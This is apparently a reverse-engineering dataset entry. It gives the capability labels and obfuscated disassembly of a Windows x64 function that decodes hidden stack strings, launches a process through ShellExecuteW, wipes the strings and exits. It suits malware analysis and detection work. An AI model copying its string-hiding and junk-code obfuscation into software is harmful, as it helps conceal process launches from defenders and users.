Function at 0x140157500
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
xchg rbx, rbp
mov qword [rsp + 8], rbp
xchg rbx, rbp
xchg r8, rsi
mov qword [rsp + 0x10], r8
xchg r8, rsi
push rbp
push rdi
nop
mov qword [rsp - 8], r12
sub rsp, 8
nop
sub rsp, 8
mov qword [rsp], r14
push r15
lea rbp, [rsp - 0x2070]
mov eax, 0x5cf1fa0f
add eax, 0x1f795141
sub eax, 0x1393f7ff
sub eax, 0x68bc36db
add eax, 0x4dfc97e9
add eax, 0x1a86fced
add eax, 0x10964276
xor eax, 0x7934d2b2
call fcn.1401fd7e0
sub rsp, rax
xchg rdx, r15
mov rdx, r15
xchg rdx, r15
xchg rbx, rcx
mov r12, rbx
xchg rbx, rcx
xor esi, esi
mov r14d, esi
mov dword [rbp + 0x20b0], esi
test r8b, r8b
je 0x140157e44
xchg r11, rdx
mov rcx, r11
xchg r11, rdx
call fcn.140070540
cmp rax, 3
jb 0x140157cd2
lea edx, [rsi + 1]
xchg r11, r15
mov rcx, r11
xchg r11, r15
call fcn.14004e400
mov dl, 0x60
sub dl, 0x51
add dl, 0x40
sub dl, 0x3d
xor dl, 0x4d
sub dl, 0x5e
xchg r14, rax
mov rcx, r14
xchg r14, rax
call fcn.14007dfe0
test al, al
je 0x140157cd2
lea r9d, [rsi - 1]
lea r8d, [rsi + 0x1b]
lea rdx, [rbp - 0x20]
mov rcx, qword [r12]
call fcn.140163fb0
nop
xchg rdi, rbp
mov rbp, qword [r12]
xchg rbp, rdi
lea rcx, [rdi + 0x308]
call fcn.14007eb20
mov rbx, rax
lea edx, [rsi + 2]
xchg r11, r15
mov rcx, r11
xchg r15, r11
call fcn.14004e400
lea rdx, [rbp - 0x80]
xchg rdx, rcx
mov rdx, rax
xchg rcx, rdx
call fcn.14007e5a0
nop
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x28]
xchg rbp, rbx
mov rcx, rbp
xchg rbx, rbp
call fcn.140052a10
nop
xchg r8, rcx
mov r8, rax
xchg rcx, r8
call fcn.1401767e0
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
lea rcx, [rbp - 0x20]
call fcn.14007b4e0
xchg r9, rbx
mov rbx, r9
xchg rbx, r9
xchg r8, rax
mov rax, r8
xchg r8, rax
lea edx, [rsi + 0x40]
mov rcx, rdi
call fcn.14016ea10
nop
lea rcx, [rbp + 0x28]
call fcn.140029bd0
nop
lea rcx, [rbp - 0x80]
call fcn.14004c930
mov rcx, r15
call fcn.140070540
cmp rax, 4
jb 0x140157cc9
xchg rcx, rdi
mov rdi, qword [r12]
xchg rdi, rcx
add rcx, 0x308
call fcn.14007eb20
xchg r12, rax
mov rbx, r12
xchg r12, rax
lea edx, [rsi + 3]
xchg rcx, r15
mov r15, rcx
xchg rcx, r15
call fcn.14004e400
lea rdx, [rsp + 0x60]
xchg rcx, rax
mov rax, rcx
xchg rcx, rax
call fcn.14007e5a0
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x60]
xchg rcx, r14
mov r14, rbx
xchg rcx, r14
call fcn.140052a10
nop
lea rcx, [rsp + 0x60]
call fcn.14004c930
lea rcx, [rbp - 0x60]
call fcn.140179850
cmp rax, 8
jb 0x140157a6c
lea r9d, [rsi + 8]
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x60]
call fcn.140179860
nop
mov dword [rbp + 0x20b0], 0x439d8bd9
xor dword [rbp + 0x20b0], 0x393eacc1
sub dword [rbp + 0x20b0], 0x41e728f8
xor dword [rbp + 0x20b0], 0xb1da8d7
sub dword [rbp + 0x20b0], 0x335002ad
add dword [rbp + 0x20b0], 0x2e3e24fa
xor dword [rbp + 0x20b0], 0xccc5300
add dword [rbp + 0x20b0], 0x2c324795
sub dword [rbp + 0x20b0], 0x4e8a71d8
xchg rcx, r13
mov r13, rax
xchg rcx, r13
call fcn.1401767e0
xchg rdx, rbp
mov rbp, rax
xchg rdx, rbp
lea rcx, [rbp + 0x10]
call fcn.14007ada0
mov rbx, rax
mov dword [rbp + 0x20b0], 0x62030de7
add dword [rbp + 0x20b0], 0x4bf3400
xor dword [rbp + 0x20b0], 0x5977c746
add dword [rbp + 0x20b0], 0x431a6d8
xor dword [rbp + 0x20b0], 0x4a864169
xor dword [rbp + 0x20b0], 0x6a3363e0
sub dword [rbp + 0x20b0], 0x63520fed
mov dword [rsp + 0x40], 0x59139349
sub dword [rsp + 0x40], 0xbc462f8
sub dword [rsp + 0x40], 0x3f130c25
xor dword [rsp + 0x40], 0x75ce6fe2
sub dword [rsp + 0x40], 0x30aba14a
add dword [rsp + 0x40], 0x26a5fe6b
sub dword [rsp + 0x40], 0x468742a6
xor dword [rsp + 0x40], 0xdd9390bf
mov dword [rsp + 0x4a], 0x3988de47
xor dword [rsp + 0x4a], 0x5877cb5e
xor dword [rsp + 0x4a], 0x51c83f78
sub dword [rsp + 0x4a], 0x151ff57f
xor dword [rsp + 0x4a], 0x2ae2391e
add dword [rsp + 0x4a], 0x16a1ea57
add dword [rsp + 0x4a], 0xb6e8071f
mov dword [rsp + 0x4e], 0x12869d0f
sub dword [rsp + 0x4e], 0xbae8b50
xor dword [rsp + 0x4e], 0x73e75887
sub dword [rsp + 0x4e], 0x28224bfa
xor dword [rsp + 0x4e], 0x7c02694d
xor dword [rsp + 0x4e], 0x47e7343e
sub dword [rsp + 0x4e], 0xfb66ecb
add dword [rsp + 0x4e], 0x9837cdfc
mov dword [rsp + 0x44], 0x368b1786
add dword [rsp + 0x44], 0x1db243ab
sub dword [rsp + 0x44], 0x2d1de8ad
sub dword [rsp + 0x44], 0x669b109
xor dword [rsp + 0x44], 0x68251f52
sub dword [rsp + 0x44], 0x17af4b37
add dword [rsp + 0x44], 0x22078d3f
xor dword [rsp + 0x44], 0xae6c729
add dword [rsp + 0x44], 0x9ee70fde
mov dword [rsp + 0x52], 0x4ad3b75b
add dword [rsp + 0x52], 0x27367cd0
sub dword [rsp + 0x52], 0x8ca6aa5
xor dword [rsp + 0x52], 0x5e84d56
sub dword [rsp + 0x52], 0x49804e9c
xor dword [rsp + 0x52], 0xdc13c949
mov dword [rsp + 0x56], 0x3adfa295
add dword [rsp + 0x56], 0x23e902b4
sub dword [rsp + 0x56], 0x30582f0e
add dword [rsp + 0x56], 0x1f1631de
xor dword [rsp + 0x56], 0x55eba4d
add dword [rsp + 0x56], 0xb661ece5
xor eax, eax
mov word [rsp + 0x5a], ax
mov edx, esi
movzx eax, word [rsp + rdx*2 + 0x4a]
movzx ecx, byte [rsp + rdx + 0x40]
add cx, ax
mov word [rsp + rdx*2 + 0x4a], cx
mov byte [rsp + rdx + 0x40], 7
add byte [rsp + rdx + 0x40], 0x5c
sub byte [rsp + rdx + 0x40], 0x20
add byte [rsp + rdx + 0x40], 0xf
sub byte [rsp + rdx + 0x40], 0x4e
sub byte [rsp + rdx + 0x40], 4
inc rdx
cmp rdx, 8
jb 0x140157958
mov dword [rbp + 0x20b0], 0x2709aea0
sub dword [rbp + 0x20b0], 0x13cc9aa
add dword [rbp + 0x20b0], 0x33cbe574
sub dword [rbp + 0x20b0], 0x1bb1b44
sub dword [rbp + 0x20b0], 0x177f56ab
sub dword [rbp + 0x20b0], 0x405e5874
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rbp - 0x40], xmm0
movsd xmm1, qword [rsp + 0x50]
xchg rbp, rcx
movsd qword [rcx - 0x30], xmm1
xchg rcx, rbp
mov eax, dword [rsp + 0x58]
mov dword [rbp - 0x28], eax
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 8]
call fcn.14007c3c0
nop
mov r14d, 0x46529951
sub r14d, 0xaac7dda
add r14d, 0x43a06853
xor r14d, 0x3d94124b
add r14d, 0xb176f55
xor r14d, 0x4dea00d9
mov dword [rbp + 0x20b0], r14d
xchg rbx, rax
mov rdx, rbx
xchg rbx, rax
xchg rbx, rcx
mov rbx, rcx
xchg rbx, rcx
call fcn.14007b460
test al, al
je 0x140157a6c
mov bl, 0x3a
sub bl, 0x34
xor bl, 0xf
add bl, 0x64
sub bl, 0x3d
add bl, 0x32
xor bl, 0x26
sub bl, 3
sub bl, 0x40
jmp 0x140157a6e
xor bl, bl
test r14b, 8
je 0x140157a8d
and r14d, 0xfffffff7
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp - 8]
call fcn.14007b1b0
nop
test r14b, 4
je 0x140157ae0
and r14d, 0xfffffffb
mov dword [rbp + 0x20b0], r14d
mov rax, rsi
nop word [rax + rax]
mov byte [rsp + rax + 0x4a], 0x53
sub byte [rsp + rax + 0x4a], 0x46
add byte [rsp + rax + 0x4a], 0xc
add byte [rsp + rax + 0x4a], 0x19
xor byte [rsp + rax + 0x4a], 0x3a
add byte [rsp + rax + 0x4a], 0x35
sub byte [rsp + rax + 0x4a], 0x3d
inc rax
cmp rax, 0x10
jb 0x140157ab0
test r14b, 2
je 0x140157aff
and r14d, 0xfffffffd
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x10]
call fcn.14007b1b0
nop
test r14b, 1
je 0x140157b1d
and r14d, 0xfffffffe
mov dword [rbp + 0x20b0], r14d
lea rcx, [rbp + 0x48]
call fcn.140029bd0
test bl, bl
je 0x140157cbf
lea rcx, [rbp - 0x60]
call fcn.1401767e0
xchg r8, rax
mov rax, r8
xchg r8, rax
mov dword [rsp + 0x30], 0x7703e70b
sub dword [rsp + 0x30], 0x16dfacc3
sub dword [rsp + 0x30], 0x20dfaa0b
sub dword [rsp + 0x30], 0x3d3ef059
add dword [rsp + 0x30], 0x7d0cc2b7
add dword [rsp + 0x30], 0x77e4945b
mov dword [rsp + 0x36], 0x4130a30f
xor dword [rsp + 0x36], 0x1694582f
add dword [rsp + 0x36], 0x95b3b7b
sub dword [rsp + 0x36], 0x3fda1e43
xor dword [rsp + 0x36], 0x3a722ea5
add dword [rsp + 0x36], 0x5b34b162
add dword [rsp + 0x36], 0x88f2171a
mov dword [rsp + 0x3a], 0x1cdfba13
add dword [rsp + 0x3a], 0x30b201e1
sub dword [rsp + 0x3a], 0x2fb182a5
sub dword [rsp + 0x3a], 0x8e2eb8f
add dword [rsp + 0x3a], 0x167861bf
sub dword [rsp + 0x3a], 0x1e8d096e
add dword [rsp + 0x3a], 0x6fd2e355
sub dword [rsp + 0x3a], 0x47115523
add dword [rsp + 0x3a], 0xc9cecb2c
xor eax, eax
mov word [rsp + 0x3e], ax
mov rax, rsi
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x36]
movzx edx, byte [rsp + rax + 0x30]
add dx, cx
mov word [rsp + rax*2 + 0x36], dx
mov byte [rsp + rax + 0x30], 0x71
xor byte [rsp + rax + 0x30], 0x70
add byte [rsp + rax + 0x30], 0x7c
sub byte [rsp + rax + 0x30], 0x21
sub byte [rsp + rax + 0x30], 0x55
xor byte [rsp + rax + 0x30], 0x33
sub byte [rsp + rax + 0x30], 3
sub byte [rsp + rax + 0x30], 0x2c
sub byte [rsp + rax + 0x30], 5
inc rax
cmp rax, 4
jb 0x140157bf6
mov dword [rsp + 0x28], 0x19f4ae9
add dword [rsp + 0x28], 0x2e75a288
xor dword [rsp + 0x28], 0x2d612eff
add dword [rsp + 0x28], 0x553c8dcc
xor dword [rsp + 0x28], 0x4a35e290
sub dword [rsp + 0x28], 0x3887b3c9
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, [rsp + 0x36]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax]
mov byte [rsp + rsi + 0x36], 0x15
xor byte [rsp + rsi + 0x36], 0x3e
add byte [rsp + rsi + 0x36], 0xd
sub byte [rsp + rsi + 0x36], 0x29
xor byte [rsp + rsi + 0x36], 0x1d
sub byte [rsp + rsi + 0x36], 0xf
xor byte [rsp + rsi + 0x36], 0x4f
sub byte [rsp + rsi + 0x36], 0x4c
inc rsi
cmp rsi, 8
jb 0x140157c8a
lea rcx, [rbp - 0x60]
call fcn.140029bd0
nop
lea rcx, [rbp - 0x20]
jmp 0x140157e3f
mov r9d, 0x46263214
xor r9d, 0x4f8d118d
add r9d, 0x58ec820d
add r9d, 0x59fa8e7
sub r9d, 0x1f82ac21
sub r9d, 0x257cc578
add r9d, 0xdcc8230b
lea r8d, [r9 + 0x1c]
lea rdx, [rbp - 0x80]
xchg rbp, rcx
mov rbp, qword [r12]
xchg rbp, rcx
call fcn.140163fb0
nop
mov r9d, 0x6eafb161
xor r9d, 0x402281d8
add r9d, 0xa1649ce
sub r9d, 0x76fbce4
add r9d, 0xa455b31
add r9d, 0x1aa1aefd
add r9d, 0xa9e5382e
lea r8d, [r9 + 0x1d]
lea rdx, [rsp + 0x60]
xchg r14, rcx
mov r14, qword [r12]
xchg r14, rcx
call fcn.140163fb0
nop
xor edx, edx
mov r8d, 0x79de1d9d
sub r8d, 0x2def5910
xor r8d, 0x568930cb
add r8d, 0x1b0c4cf0
sub r8d, 0x18b1ef90
xor r8d, 0x930b944
sub r8d, 0x16f2c8e2
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [r12]
sub rcx, 0xfffffffffffffaa0
call fcn.14007b910
xchg rbx, rax
mov rax, rbx
xchg rbx, rax
lea rcx, [rsp + 0x60]
call fcn.14007b910
xchg rbx, r8
mov rbx, r8
xchg r8, rbx
xchg r8, rdx
mov r8, rax
xchg rdx, r8
lea rcx, [rbp + 0x70]
call fcn.140086d50
mov rbx, qword [r12]
lea rcx, [rbp - 0x80]
call fcn.14007b4e0
lea r9, [rbp + 0x70]
xchg r8, rax
mov rax, r8
xchg r8, rax
mov edx, 0x29a2f65f
xor edx, 0x5df0233a
sub edx, 0x61ec2cfb
add edx, 0x4176c26b
add edx, 0x2bf07eb7
sub edx, 0x13272417
xor edx, 0x208074a0
sub edx, 0x4c26b195
xchg rbx, rcx
mov rbx, rcx
xchg rcx, rbx
call fcn.14016ea10
nop
lea rcx, [rsp + 0x60]
call fcn.14007b1b0
nop
lea rcx, [rbp - 0x80]
call fcn.14007b1b0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3